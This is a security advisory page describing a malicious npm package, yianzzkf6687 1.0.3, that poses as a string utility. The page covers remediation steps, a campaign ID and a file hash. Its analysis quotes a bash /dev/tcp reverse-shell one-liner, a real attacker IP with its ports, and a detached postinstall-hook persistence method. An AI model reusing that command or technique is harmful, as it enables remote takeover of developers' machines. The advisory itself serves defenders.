Which versions of yianzzkf6687 are malicious?

The following npm versions of yianzzkf6687 are flagged malicious: 1.0.3. Treat any of these as compromised.

How do I remediate yianzzkf6687 if I installed it?

Remove yianzzkf6687 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is yianzzkf6687 part of a known attack campaign?

Yes — yianzzkf6687 is associated with the IN-MAL-2026-007092 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect yianzzkf6687 in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking yianzzkf6687 and packages like it before any post-install script runs.

Malicious package

yianzzkf6687npm

Malicious code in yianzzkf6687 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6235

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall yianzzkf6687

What this malware does

On npm install, the postinstall hook (scripts/postinstall.js) detach-spawns scripts/shell.js with detached: true, stdio: 'ignore', windowsHide: true and unref()s it, so the malicious process persists silently after npm install returns. scripts/shell.js hardcodes HOST = '114.67.90.67' and opens reverse shells to that IP across multiple fallback ports (3334, 4444, 443, 80, 8080, 53) using Node net, bash -c "bash -i >& /dev/tcp/<HOST>/<port> 0>&1", and a Python fallback, then uses setInterval to keep the process alive. It also sends an HTTP GET to http://114.67.90.67:8333/ping with the installer's hostname, username, cwd, and OS platform/release as query parameters, confirming victim acquisition. The package advertises itself as a string-manipulation utility, providing cover for the backdoor. Installing this package gives the operator of 114.67.90.67 interactive shell access on the installer's machine.

Malicious versions

1 flagged

1.0.3

Indicators of compromise (SHA-256)

a59a0aee58573b3030b9d541980fa9d7df8ea55d4e6cc5b3bb349452b908d0e9

Frequently asked questions

No. yianzzkf6687 on npm has been identified as a malicious package (version 1.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007092

References

npmjs.com

Credits

Amazon Inspector · finder

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O3 Security blocks malicious packages like this at install time and in CI.

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